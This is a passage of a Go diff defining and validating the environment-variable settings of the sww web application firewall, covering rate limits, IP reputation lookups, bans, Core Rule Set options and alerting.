SWW_WAF_BYTES_LIMIT_PER_DAY). BytesCounted is which body bytes count + // toward them and the byte anomaly thresholds (SWW_WAF_BYTES_COUNTED): + // response, request or both. + BytesLimitPerMinute int64 + BytesLimitPerHour int64 + BytesLimitPerDay int64 + BytesCounted string + // LookupSource is where each client's AS number and country are looked + // up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere. + // LookupDBPath is the lookup database, the IPinfo Lite file looked up in + // while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any + // other source. A request waits up to ASNAndCountryLookupTimeout for its + // client's first answer from GeoJS while a setting needs it + // (SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS), which cannot be off. + // AddLookupHeaders is true when the app is passed the client's AS number + // and country in headers (SWW_WAF_ADD_LOOKUP_HEADERS), by default unless + // LookupSource is off. + LookupSource string + LookupDBPath string + ASNAndCountryLookupTimeout time.Duration + AddLookupHeaders bool + // ExclusivelyAllowedCountries, when not empty, are the only countries + // whose clients are let through (SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES), + // two-letter codes in capitals, as GeoJS gives them. + ExclusivelyAllowedCountries []string + // TagLists are the address lists that each add a tag to the requests of + // the clients they hold (SWW_WAF_TAG_LISTS). TagDeny are the tags whose + // requests are refused (SWW_WAF_TAG_DENY). TagLimitPercent gives the clients + // with a tag that percentage of every rate limit and byte limit, from 1 + // to 99 (SWW_WAF_TAG_LIMIT_PERCENT). All hold tags as requests carry them: in + // lower case, a country code in capitals. + TagLists []TagList + TagDeny []string + TagLimitPercent map[string]int64 + // RouteWatchURL is where the routewatch instance is that adds the asn= + // and prefix= tags, "" for none (SWW_WAF_ROUTEWATCH_URL). + RouteWatchURL string + // The biased thresholds. ASNBytesLimitPercent and + // CountryBytesLimitPercent give those they list a percentage of the byte + // limits in place of the one TagLimitPercent gives their asn= or + // country= tag (SWW_WAF_ASN_BYTES_LIMIT_PERCENT and + // SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT). Each holds percentages from 0 to + // 100, by AS number, written as AS64496, or by country, a two-letter + // code in capitals, as the lookup gives them. UnknownCountryLimitPercent + // is the percentage of every limit a client without a country gets + // (SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT). ASNLimitPercentURL is + // where a file of AS:percent lines is fetched from, whose percentages + // count like asn= tags in TagLimitPercent (SWW_WAF_ASN_LIMIT_PERCENT_URL), + // "" while it is unset. + ASNBytesLimitPercent map[string]int64 + CountryBytesLimitPercent map[string]int64 + UnknownCountryLimitPercent int64 + ASNLimitPercentURL string + // BlocklistURLs are where the blocklists are fetched from + // (SWW_WAF_BLOCKLIST_URLS). Each list, and ASNLimitPercentURL's, is + // fetched again BlocklistRefresh after it was last fetched or tried + // (SWW_WAF_BLOCKLIST_REFRESH), which is never less than an hour. + // BlocklistAction is what is done with a client a blocklist lists + // (SWW_WAF_BLOCKLIST_ACTION): deny, limit or log; for limit, + // BlocklistLimitPercent is the percentage of every limit it gets. + BlocklistURLs []string + BlocklistRefresh time.Duration + BlocklistAction string + BlocklistLimitPercent int64 + // DNSBLZones are the DNSBL zones clients are asked about + // (SWW_WAF_DNSBL_ZONES), through DNSBLResolver (SWW_WAF_DNSBL_RESOLVER), or + // the host's resolver while that is the zero AddrPort. + // AbuseIPDBKey is the key of the AbuseIPDB account clients are checked + // with (SWW_WAF_ABUSEIPDB_KEY), "" while it is unset and none is. A score + // of AbuseIPDBMinScore or more is a hit (SWW_WAF_ABUSEIPDB_MIN_SCORE), and + // at most AbuseIPDBDailyBudget checks are made a day + // (SWW_WAF_ABUSEIPDB_DAILY_BUDGET). + // DNSBLAbuseIPDBAction is what is done with a client a zone's verdict + // lists, or whose score is a hit (SWW_WAF_DNSBL_ABUSEIPDB_ACTION): deny, + // limit or log; for limit, DNSBLAbuseIPDBLimitPercent is the percentage + // of every limit it gets. A verdict or a score is used for + // IPReputationCacheTTL after it was fetched + // (SWW_WAF_IP_REPUTATION_CACHE_TTL), and a query or a check may take + // DNSBLAbuseIPDBTimeout (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS). Neither + // can be off. + DNSBLZones []string + DNSBLResolver netip.AddrPort + AbuseIPDBKey string + AbuseIPDBMinScore int64 + AbuseIPDBDailyBudget int + DNSBLAbuseIPDBAction string + DNSBLAbuseIPDBLimitPercent int64 + IPReputationCacheTTL time.Duration + DNSBLAbuseIPDBTimeout time.Duration + // BanResponse is the status a refused client is answered with, 403 + // or 429, or 0 to close the connection without an answer + // (SWW_WAF_BAN_RESPONSE). It answers a banned client, a request that + // breaks a rate limit or matches a ban rule, SWW_WAF_DENY_NETS, + // SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES and SWW_WAF_TAG_DENY. + BanResponse int + // LimitBanDuration is the ban for a first broken rate limit + // (SWW_WAF_LIMIT_BAN_DURATION). A limit broken again within + // LimitBanRepeatWindow after the last ban ended bans for three times + // as long as that ban (SWW_WAF_LIMIT_BAN_REPEAT_WINDOW), and a ban that + // would be longer than LimitBanPermanentAbove is permanent instead + // (SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE). None of them can be off. + LimitBanDuration time.Duration + LimitBanRepeatWindow time.Duration + LimitBanPermanentAbove time.Duration + // AttackBanDuration is the ban for a first clear sign of attack + // (SWW_WAF_ATTACK_BAN_DURATION). It cannot be off. + AttackBanDuration time.Duration + // MaxBans is the most bans held (SWW_WAF_MAX_BANS). + MaxBans int + // BanScopeV4Prefix is the length of the netblock around an IPv4 + // client that a ban covers (SWW_WAF_BAN_SCOPE_V4_PREFIX). + BanScopeV4Prefix int + // StateDir is the directory of the state files, an absolute path + // (SWW_WAF_STATE_DIR). bans.json is written BansWriteDelay after a ban + // is made (SWW_WAF_BANS_WRITE_DELAY), and every state and cache file + // every StateWriteInterval (SWW_WAF_STATE_WRITE_INTERVAL). Neither + // can be off. + StateDir string + BansWriteDelay time.Duration + StateWriteInterval time.Duration + // CacheDir is the directory of the cache files, which keep answers + // from outside services, an absolute path (SWW_WAF_CACHE_DIR). + CacheDir string + // LogRequestHeaders are the request headers whose values the request + // log gives, in lower case (SWW_WAF_LOG_REQUEST_HEADERS). + LogRequestHeaders []string + // LogLevel is the least severe of the process's own messages that are + // written (SWW_WAF_LOG_LEVEL). It holds back no request log line. + LogLevel slog.Level + // AdminToken is the bearer token an admin sends for the ban endpoints + // and /_sww/clients/ (SWW_WAF_ADMIN_TOKEN), "" while it is + // unset and they are off. + AdminToken string + // MetricsToken is the bearer token a scraper sends for the metrics + // (SWW_WAF_METRICS_TOKEN), "" while it is unset and the metrics are off. + // MetricsBusiestCountriesAndASNs is how many AS numbers and how many + // countries get series of their own in the metrics + // (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). + MetricsToken string + MetricsBusiestCountriesAndASNs int + // RuleFilesDir is the directory of the rule files + // (SWW_WAF_RULE_FILES_DIR), read unless RuleFilesEnabled is false + // (SWW_WAF_RULE_FILES_ENABLED). + RuleFilesDir string + RuleFilesEnabled bool + // CoreRuleSetMode is what the Core Rule Set does + // (SWW_WAF_CORE_RULE_SET_MODE): CoreRuleSetModeOff, + // CoreRuleSetModeDetect or CoreRuleSetModeBlock. + // CoreRuleSetParanoiaLevel is its paranoia level, from 1 to 4 + // (SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL), and CoreRuleSetScoreThreshold + // the anomaly score at which a request is a match + // (SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD), 0 while it is off. + // CoreRuleSetDisabledRules are the ids of its rules switched off + // (SWW_WAF_CORE_RULE_SET_DISABLED_RULES), CoreRuleSetExemptPaths the + // path prefixes it does not inspect (SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS), + // and CoreRuleSetBodyInspectionSize the most of a request body it reads + // (SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE), 0 while it is off and it + // reads none. + // CoreRuleSetExclusionsFile is the path of the file of its exclusions + // (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while there is none. + CoreRuleSetMode string + CoreRuleSetParanoiaLevel int + CoreRuleSetScoreThreshold int + CoreRuleSetDisabledRules []int + CoreRuleSetExemptPaths []string + CoreRuleSetBodyInspectionSize int64 + CoreRuleSetExclusionsFile string + // Apps are the names of the apps each hostname serves, by hostname in + // lowercase (SWW_WAF_APPS): a request gets only its hostname's apps' fixes + // to the Core Rule Set. Apps is nil while SWW_WAF_APPS is unset, and every + // request gets every app's fixes. + Apps map[string][]string + // TrapPaths are the paths a request for which is a clear sign of + // attack (SWW_WAF_TRAP_PATHS), each starting with / and without a ?. + TrapPaths []string + // RefusalsLimitPerMinute is the most requests of a client within a minute + // that waf may refuse after a rule file or Core Rule Set match; one + // more breaks a limit (SWW_WAF_REFUSALS_LIMIT_PER_MINUTE). 0 is off. + RefusalsLimitPerMinute int64 + // LogRemoteURL is where every line on stdout is also sent + // (SWW_WAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent. + // LogRemoteTLSCAs are the certificates a syslog+tls endpoint's + // certificate must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil while + // it is unset and the host's own are used. LogRemoteBufferLines is the + // most lines held while they wait to be sent + // (SWW_WAF_LOG_REMOTE_BUFFER_LINES). + // LogRemoteFacility is the number of the syslog facility + // (SWW_WAF_LOG_REMOTE_FACILITY), and LogRemoteAppName the APP-NAME + // (SWW_WAF_LOG_REMOTE_APP_NAME, by default InstanceName), of the records + // the lines are sent in. + LogRemoteURL *url.URL + LogRemoteTLSCAs *x509.CertPool + LogRemoteBufferLines int + LogRemoteFacility int + LogRemoteAppName string + // AlertWebhookURL is where each alert is posted as JSON + // (SWW_WAF_ALERT_WEBHOOK_URL), nil while it is unset. AlertWebhookHeaders + // are sent with each (SWW_WAF_ALERT_WEBHOOK_HEADERS). + // AlertSlackWebhookURL is the Slack incoming webhook each alert is + // posted to as a message (SWW_WAF_ALERT_SLACK_WEBHOOK_URL), and + // AlertNtfyURL the ntfy topic each is published to + // (SWW_WAF_ALERT_NTFY_URL), each nil while it is unset; AlertNtfyToken, + // unless empty, is sent to ntfy with each (SWW_WAF_ALERT_NTFY_TOKEN). + // With none of the three URLs set, no alert is sent. AlertEvents are + // the events alerts are sent for (SWW_WAF_ALERT_EVENTS). A repeat of an + // alert within AlertCooldown is held back (SWW_WAF_ALERT_COOLDOWN), and + // so is an alert past AlertMaxPerHour in an hour, for the hour's + // summary (SWW_WAF_ALERT_MAX_PER_HOUR); 0 is off for both. + AlertWebhookURL *url.URL + AlertWebhookHeaders http.Header + AlertSlackWebhookURL *url.URL + AlertNtfyURL *url.URL + AlertNtfyToken string + AlertEvents []string + AlertCooldown time.Duration + AlertMaxPerHour int + // The anomaly thresholds, which only raise alerts: the most requests + // and bytes a minute and an hour per client (SWW_WAF_ANOMALY_CLIENT_*), + // per netblock around a client (SWW_WAF_ANOMALY_NET_*), per AS number + // (SWW_WAF_ANOMALY_ASN_*), for the whole service (SWW_WAF_ANOMALY_TOTAL_*) + // and per watched netblock (SWW_WAF_ANOMALY_WATCHED_NET_*), each 0 while + // it is off. AnomalyNetV4Prefix and AnomalyNetV6Prefix are the lengths + // of the netblock around a client (SWW_WAF_ANOMALY_NET_V4_PREFIX and + // SWW_WAF_ANOMALY_NET_V6_PREFIX), and AnomalyWatchedNets the watched + // netblocks (SWW_WAF_ANOMALY_WATCHED_NETS). + AnomalyClient anomaly.Thresholds + AnomalyNet anomaly.Thresholds + AnomalyASN anomaly.Thresholds + AnomalyTotal anomaly.Thresholds + AnomalyWatchedNet anomaly.Thresholds + AnomalyNetV4Prefix int + AnomalyNetV6Prefix int + AnomalyWatchedNets []anomaly.NamedNetblock + + // settings are the values read, as given or by default, and the + // files they were read from, for the log line at start. + settings []slog.Attr +} + +// The values of SWW_WAF_CORE_RULE_SET_MODE. +const ( + // CoreRuleSetModeOff runs no request through the Core Rule Set. + CoreRuleSetModeOff = off + // CoreRuleSetModeDetect logs and alerts a match, and refuses nothing. + CoreRuleSetModeDetect = "detect" + // CoreRuleSetModeBlock refuses a match with 403. + CoreRuleSetModeBlock = "block" +) + +// fileSource is the SWW_WAF_LOOKUP_SOURCE that looks clients up in the +// lookup database, the file SWW_WAF_LOOKUP_DB_PATH names. +const fileSource = "file" + +const ( + day = 24 * time.Hour + ipv4Bits = 32 + ipv6Bits = 128 + // minIPv6GroupPrefix is the shortest SWW_WAF_IPV6_GROUP_PREFIX, the + // netblock a provider is usually given: a shorter one would make one + // client of the customers of several providers. + minIPv6GroupPrefix = 32 + // minTokenLength is the fewest characters a token may have. + minTokenLength = 32 + // maxParanoiaLevel is the Core Rule Set's highest paranoia level. + maxParanoiaLevel = 4 + // firstSetupRuleID to lastSetupRuleID are the ids the Core Rule Set + // keeps for the rules that set it up, which sww's own rules + // have too (see internal/coreruleset). Switching one off would undo a change + // that no setting undoes. + firstSetupRuleID = 900000 + lastSetupRuleID = 900999 + // masked is what the log shows for a token that is set, and in place of + // a secret in another setting. + masked = "********" +) + +var ( + errNotDuration = errors.New( + "is not a duration such as 90s, 15m or 7d, or off") + errNotCount = errors.New( + "is not a whole number of requests such as 1000, or off") + errNotCountry = errors.New( + "is not a two-letter country code such as de or kp") + errNotHeaderName = errors.New( + "is not a header name such as accept-language") + errHeaderTakenOut = errors.New( + "is taken out of every request by Go's HTTP server, so it can never " + + "be logged", + ) + errOnBothLists = errors.New("is in SWW_WAF_TAG_DENY too") + errNotLookupSource = errors.New("is not geojs, file or off") + errNeedsLookups = errors.New("it needs each client looked up") + errNeedsDBPath = errors.New( + "it names the file to look clients up in", + ) + errDBPathUnused = errors.New("only file reads it") + errOver8K = errors.New( + "is more than 8K, the most the Core Rule Set can read in time") + errNotDurationAboveZero = errors.New( + "is not a duration above zero, such as 1h or 7d") + errNotNumberAboveZero = errors.New( + "is not a whole number above zero, such as 5000") + errNotBanResponse = errors.New("is not 403, 429 or close") + errNotV4Prefix = errors.New( + "is not the length of an IPv4 netblock, from 0 to 32, such as 24") + errNotV6Prefix = errors.New( + "is not the length of an IPv6 netblock, from 0 to 128, such as 48") + errNotIPv6GroupPrefix = errors.New( + "is not the length of an IPv6 netblock, from 32 to 128, such as 64") + errNotLogLevel = errors.New("is not debug, info, warn or error") + errNotNamedNetblock = errors.New( + "is not a name, = and a netblock, such as office=203.0.113.0/24") + errNotAbsolutePath = errors.New( + "is not an absolute path, such as /var/lib/sww") + errShortToken = errors.New("is shorter than 32 characters") + errNotMode = errors.New("is not enforce or observe") + errNotBytesCounted = errors.New("is not response, request or both") + errNotPathPrefix = errors.New( + "is not a path prefix starting with /, such as /assets/") + errNotTrapPath = errors.New( + "is not a path starting with / and without a ?, such as /wp-login.php", + ) + errNotAppsEntry = errors.New( + "is not a hostname, : and a list of apps, such as git.example.com:gitea", + ) + errNotHostname = errors.New( + "is not a DNS name such as git.example.com", + ) + errNotApp = errors.New( + "is not an app sww has fixes for; the apps are", + ) + errNotCoreRuleSetMode = errors.New("is not off, detect or block") + errNotParanoiaLevel = errors.New( + "is not a paranoia level, from 1 to 4", + ) + errNotRuleID = errors.New( + "is not the id of a Core Rule Set rule, a whole number such as 942100", + ) + errSetupRuleID = errors.New( + "is from 900000 to 900999, the ids of the rules that set the Core Rule Set " + + "up and of sww's own, which cannot be switched off", + ) + errNotBoolean = errors.New("is not true or false") + errNotLogRemoteURL = errors.New( + "is not syslog+udp, syslog+tcp or syslog+tls with a host and a port, " + + "and nothing more, such as syslog+tls://logs.example:6514", + ) + errNoCertificate = errors.New("holds no PEM certificate") + errNotFacility = errors.New( + "is not a syslog facility such as local0 or daemon", + ) + errNotAppName = errors.New( + "is not 1 to 48 printable ASCII characters without a space, such as blog", + ) + errNotWebhookURL = errors.New( + "is not an http or https URL without a user or a fragment, " + + "such as https://alerts.example/sww") + errNotWebhookHeader = errors.New( + "is not a header name followed by : and the header's value, " + + "such as Authorization:Bearer ") + errControlCharacter = errors.New( + "holds a control character, such as the carriage return of a Windows line end", + ) + errNotAlertEvent = errors.New( + "is not ban, permanent_ban, core_rule_set_match, anomaly, reputation_hit, " + + "source_failure or file_error", + ) + errNotNumberOrOff = errors.New( + "is not a whole number above zero, such as 60, or off", + ) + errNotUTF8 = errors.New("is not valid UTF-8") + errNotASN = errors.New("is not an AS number such as AS64496") + errNotPercentItem = errors.New( + "is not a code, : and a percentage, such as AS64496:50 or cn:25") + errNotPercent = errors.New( + "is not a percentage, a whole number from 0 to 100", + ) + errListedTwice = errors.New("is listed twice") + errNotListURL = errors.New( + "is not an http or https URL without a user or a fragment, " + + "such as https://www.spamhaus.org/drop/drop.txt") + errInBlocklistURLs = errors.New("is in SWW_WAF_BLOCKLIST_URLS too") + errNotAnHourOrMore = errors.New( + "is not a duration of 1h or more, such as 24h", + ) + errNotAction = errors.New( + "is not deny, limit: such as limit:25, or log") + errNotZone = errors.New( + "is not a DNS zone such as dnsbl.dronebl.org", + ) + errZoneTooLong = errors.New( + "is longer than 189 characters, too long for the " + + "names IPv6 clients are asked about by", + ) + errNotResolver = errors.New( + "is not an IP address with an optional port, " + + "such as 192.0.2.53 or [2001:db8::53]:5353", + ) + errNotRouteWatchURL = errors.New( + "is not an http or https URL without a user or a fragment, " + + "such as https://routewatch.example") + errFetchedOtherwise = errors.New( + "is in SWW_WAF_BLOCKLIST_URLS or is SWW_WAF_ASN_LIMIT_PERCENT_URL too", + ) + errNotTagList = errors.New( + "is not a name, = and an http or https URL, such as " + + "torexit=https://example.com/tor.txt") + errNotTagPercentItem = errors.New( + "is not a tag, : and a percentage, such as vpn:50 or asn=14061:25") + errNotTagPercent = errors.New("is not a percentage from 1 to 99") + errNotASNTag = errors.New( + "is not asn= and a number, such as asn=14061", + ) + errNotPrefixTag = errors.New( + "is not prefix= and a netblock, such as prefix=192.0.2.0/24") + errExploitTag = errors.New( + "cannot lower limits: the rate limits count a request before its " + + "rules are matched") + errNoRequestGetsTag = errors.New( + "is a tag no request can get: it is not a name in SWW_WAF_TAG_LISTS, an " + + "asn= or country= tag, a dnsbl= tag of a zone in SWW_WAF_DNSBL_ZONES, " + + "a prefix= tag with SWW_WAF_ROUTEWATCH_URL set, abuseipdb with " + + "SWW_WAF_ABUSEIPDB_KEY set, or exploitsignature with rule files or the " + + "Core Rule Set on", + ) +) + +// WAFFromEnvironment reads the settings through v, normally the viper +// NewViper returns, bound to the process's environment. A setting may +// instead be given as a file: the variable named by the setting's name +// with _FILE added names the file, which is read now (see lookup). A +// setting that is not set takes its default. A setting that is set but +// invalid is an error that names it. +// +//nolint:funlen // one line for each setting, a list that grows with them +func WAFFromEnvironment(v *viper.Viper) (*WAF, error) { + env := &environment{v: v} + cfg := &WAF{ + ListenAddr: env.address("SWW_WAF_LISTEN_ADDR"), + InstanceName: env.instanceName(), + Observe: env.observe("SWW_WAF_MODE", "enforce"), + IPv6GroupPrefix: env.ipv6GroupPrefix( + "SWW_WAF_IPV6_GROUP_PREFIX", + "64", + ), + MaxTrackedClients: env.numberNotOff( + "SWW_WAF_MAX_TRACKED_CLIENTS", + "20000", + ), + AllowNets: env.netblocks("SWW_WAF_ALLOW_NETS", ""), + RateLimitExemptNets: env.netblocks( + "SWW_WAF_RATE_LIMIT_EXEMPT_NETS", + "", + ), + DenyNets: env.netblocks("SWW_WAF_DENY_NETS", ""), + RateLimitPerMinute: env.count( + "SWW_WAF_RATE_LIMIT_PER_MINUTE", + "120", + ), + RateLimitPerHour: env.count("SWW_WAF_RATE_LIMIT_PER_HOUR", "1500"), + RateLimitPerDay: env.count("SWW_WAF_RATE_LIMIT_PER_DAY", "6000"), + RateLimitExemptPaths: env.pathPrefixes( + "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS", + "", + ), + BytesLimitPerMinute: env.size( + "SWW_WAF_BYTES_LIMIT_PER_MINUTE", + "off", + ), + BytesLimitPerHour: env.size("SWW_WAF_BYTES_LIMIT_PER_HOUR", "50G"), + BytesLimitPerDay: env.size("SWW_WAF_BYTES_LIMIT_PER_DAY", "100G"), + BytesCounted: env.bytesCounted("SWW_WAF_BYTES_COUNTED", "both"), + LookupSource: env.lookupSource( + "SWW_WAF_LOOKUP_SOURCE", + "geojs", + ), + LookupDBPath: env.value("SWW_WAF_LOOKUP_DB_PATH", ""), + ASNAndCountryLookupTimeout: env.milliseconds( + "SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS", + "800", + ), + ExclusivelyAllowedCountries: env.countries( + "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES", ""), + TagLists: env.tagLists("SWW_WAF_TAG_LISTS"), + TagDeny: env.tags("SWW_WAF_TAG_DENY"), + TagLimitPercent: env.tagPercents("SWW_WAF_TAG_LIMIT_PERCENT"), + RouteWatchURL: env.routeWatchURL("SWW_WAF_ROUTEWATCH_URL"), + ASNBytesLimitPercent: env.percents( + "SWW_WAF_ASN_BYTES_LIMIT_PERCENT", + ParseASN, + ), + CountryBytesLimitPercent: env.percents( + "SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT", + parseCountry, + ), + UnknownCountryLimitPercent: env.percent( + "SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT", + "100", + ), + ASNLimitPercentURL: env.listURL("SWW_WAF_ASN_LIMIT_PERCENT_URL"), + BlocklistURLs: env.listURLs("SWW_WAF_BLOCKLIST_URLS"), + BlocklistRefresh: env.refresh("SWW_WAF_BLOCKLIST_REFRESH", "24h"), + DNSBLZones: env.zones("SWW_WAF_DNSBL_ZONES"), + DNSBLResolver: env.resolver("SWW_WAF_DNSBL_RESOLVER"), + AbuseIPDBKey: env.secret("SWW_WAF_ABUSEIPDB_KEY"), + AbuseIPDBMinScore: env.percent("SWW_WAF_ABUSEIPDB_MIN_SCORE", "75"), + AbuseIPDBDailyBudget: env.numberNotOff( + "SWW_WAF_ABUSEIPDB_DAILY_BUDGET", + "900", + ), + IPReputationCacheTTL: env.durationNotOff( + "SWW_WAF_IP_REPUTATION_CACHE_TTL", + "24h", + ), + DNSBLAbuseIPDBTimeout: env.milliseconds( + "SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS", + "2000", + ), + BanResponse: env.banResponse("SWW_WAF_BAN_RESPONSE", "403"), + LimitBanDuration: env.durationNotOff( + "SWW_WAF_LIMIT_BAN_DURATION", + "1h", + ), + LimitBanRepeatWindow: env.durationNotOff( + "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW", + "24h", + ), + LimitBanPermanentAbove: env.durationNotOff( + "SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE", + "7d", + ), + AttackBanDuration: env.durationNotOff( + "SWW_WAF_ATTACK_BAN_DURATION", + "7d", + ), + MaxBans: env.numberNotOff("SWW_WAF_MAX_BANS", "5000"), + BanScopeV4Prefix: env.v4Prefix("SWW_WAF_BAN_SCOPE_V4_PREFIX", "32"), + StateDir: env.absolutePath( + "SWW_WAF_STATE_DIR", + "/var/lib/sww", + ), + BansWriteDelay: env.durationNotOff( + "SWW_WAF_BANS_WRITE_DELAY", + "10s", + ), + StateWriteInterval: env.durationNotOff( + "SWW_WAF_STATE_WRITE_INTERVAL", + "15m", + ), + CacheDir: env.absolutePath( + "SWW_WAF_CACHE_DIR", + "/var/cache/sww", + ), + LogRequestHeaders: env.headerNames( + "SWW_WAF_LOG_REQUEST_HEADERS", + "accept,accept-language,accept-encoding,content-type,origin,range", + ), + LogLevel: env.logLevel( + "SWW_WAF_LOG_LEVEL", + "info", + ), + AdminToken: env.token("SWW_WAF_ADMIN_TOKEN"), + MetricsToken: env.token("SWW_WAF_METRICS_TOKEN"), + MetricsBusiestCountriesAndASNs: env.numberNotOff( + "SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS", + "50", + ), + RuleFilesDir: env.value( + "SWW_WAF_RULE_FILES_DIR", + "/etc/sww/rules.d", + ), + RuleFilesEnabled: env.boolean( + "SWW_WAF_RULE_FILES_ENABLED", + "true", + ), + CoreRuleSetMode: env.coreRuleSetMode( + "SWW_WAF_CORE_RULE_SET_MODE", + CoreRuleSetModeBlock, + ), + CoreRuleSetParanoiaLevel: env.paranoiaLevel( + "SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL", + "1", + ), + CoreRuleSetScoreThreshold: env.numberOrOff( + "SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD", + "5", + ), + CoreRuleSetDisabledRules: env.ruleIDs( + "SWW_WAF_CORE_RULE_SET_DISABLED_RULES", + "920340,920420,920440,920640,930130,930140", + ), + CoreRuleSetExemptPaths: env.pathPrefixes( + "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS", + "", + ), + CoreRuleSetBodyInspectionSize: env.coreRuleSetBodyInspectionSize( + "SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE", + off, + ), + CoreRuleSetExclusionsFile: env.filePath( + "SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE"), + Apps: env.apps("SWW_WAF_APPS"), + TrapPaths: env.trapPaths("SWW_WAF_TRAP_PATHS"), + RefusalsLimitPerMinute: env.count( + "SWW_WAF_REFUSALS_LIMIT_PER_MINUTE", + "30", + ), + LogRemoteURL: env.logRemoteURL("SWW_WAF_LOG_REMOTE_URL"), + LogRemoteTLSCAs: env.certificates( + "SWW_WAF_LOG_REMOTE_TLS_CA_FILE", + ), + LogRemoteBufferLines: env.numberNotOff( + "SWW_WAF_LOG_REMOTE_BUFFER_LINES", + "10000", + ), + LogRemoteFacility: env.facility( + "SWW_WAF_LOG_REMOTE_FACILITY", + "local0", + ), + AlertWebhookURL: env.webhookURL("SWW_WAF_ALERT_WEBHOOK_URL"), + AlertWebhookHeaders: env.webhookHeaders( + "SWW_WAF_ALERT_WEBHOOK_HEADERS", + ), + AlertSlackWebhookURL: env.webhookURL( + "SWW_WAF_ALERT_SLACK_WEBHOOK_URL", + ), + AlertNtfyURL: env.webhookURL("SWW_WAF_ALERT_NTFY_URL"), + AlertNtfyToken: env.secret("SWW_WAF_ALERT_NTFY_TOKEN"), + AlertEvents: env.alertEvents("SWW_WAF_ALERT_EVENTS", + strings.Join(alerts.Events(), ",")), + AlertCooldown: env.duration("SWW_WAF_ALERT_COOLDOWN", "15m"), + AlertMaxPerHour: env.numberOrOff( + "SWW_WAF_ALERT_MAX_PER_HOUR", + "60", + ), + AnomalyClient: env.thresholds("SWW_WAF_ANOMALY_CLIENT_"), + AnomalyNet: env.thresholds("SWW_WAF_ANOMALY_NET_"), + AnomalyASN: env.thresholds("SWW_WAF_ANOMALY_ASN_"), + AnomalyTotal: env.thresholds("SWW_WAF_ANOMALY_TOTAL_"), + AnomalyWatchedNet: env.thresholds("SWW_WAF_ANOMALY_WATCHED_NET_"), + AnomalyNetV4Prefix: env.v4Prefix( + "SWW_WAF_ANOMALY_NET_V4_PREFIX", + "24", + ), + AnomalyNetV6Prefix: env.v6Prefix( + "SWW_WAF_ANOMALY_NET_V6_PREFIX", + "48", + ), + AnomalyWatchedNets: env.namedNetblocks( + "SWW_WAF_ANOMALY_WATCHED_NETS", + ), + } + + cfg.LogRemoteAppName = env.appName("SWW_WAF_LOG_REMOTE_APP_NAME", + cfg.InstanceName, cfg.LogRemoteURL != nil) + // The app gets the headers by default, unless no client is looked up. + cfg.AddLookupHeaders = env.boolean("SWW_WAF_ADD_LOOKUP_HEADERS", + strconv.FormatBool(cfg.LookupSource != off)) + cfg.BlocklistAction, cfg.BlocklistLimitPercent = env.action( + "SWW_WAF_BLOCKLIST_ACTION", "deny") + cfg.DNSBLAbuseIPDBAction, cfg.DNSBLAbuseIPDBLimitPercent = env.action( + "SWW_WAF_DNSBL_ABUSEIPDB_ACTION", "limit:25") + + env.checkInstanceNameForNtfy(cfg.InstanceName, cfg.AlertNtfyURL != nil) + env.checkLookupDBPath(cfg) + env.checkCountriesAndLookups(cfg) + env.checkASNLimitPercentURL(cfg) + env.checkTagLists(cfg) + env.checkTags(cfg) + + if env.err != nil { + return nil, env.err + } + + cfg.settings = env.settings + + return cfg, nil +} + +// WAFListenAddr reads only SWW_WAF_LISTEN_ADDR, which may be given as a +// file, as WAFFromEnvironment does. The health check in waf's container needs +// no other setting, so it reads no other, nor a file that another names. +func WAFListenAddr(v *viper.Viper) (string, error) { + env := &environment{v: v} + listenAddr := env.address("SWW_WAF_LISTEN_ADDR") + + return listenAddr, env.err +} + +// InstanceName reads only SWW_WAF_INSTANCE_NAME, which may be given as a +// file, as WAFFromEnvironment does, so that the line saying a setting is +// invalid carries it too. A file that cannot be read gives the default +// here, and WAFFromEnvironment then stops the start over it. +func InstanceName(v *viper.Viper) string { + env := &environment{v: v} + + return env.instanceName() +} + +// LogValue makes a WAF log as each setting's name with the value it was +// given, or its default. +func (c *WAF) LogValue() slog.Value { + return slog.GroupValue(c.settings...) +} + +// observe reads the setting that is the mode, enforce or observe, and +// reports whether it is observe. +func (e *environment) observe(name, defaultValue string) bool { + mode := e.value(name, defaultValue) + if mode != "enforce" && mode != "observe" { + e.check(name, fmt.Errorf("%q %w", mode, errNotMode)) + } + + return mode == "observe" +} + +// boolean reads a setting that is true or false. +func (e *environment) boolean(name, defaultValue string) bool { + value := e.value(name, defaultValue) + if value != "true" && value != "false" { + e.check(name, fmt.Errorf("%q %w", value, errNotBoolean)) + } + + return value == "true" +} + +// duration reads a setting that is a duration. +func (e *environment) duration(name, defaultValue string) time.Duration { + duration, err := parseDuration(e.value(name, defaultValue)) + e.check(name, err) + + return duration +} + +// coreRuleSetBodyInspectionSize reads the setting that is the most of a +// request body the Core Rule Set reads. +func (e *environment) coreRuleSetBodyInspectionSize( + name, defaultValue string, +) int64 { + limit, err := parseCoreRuleSetBodyInspectionSize( + 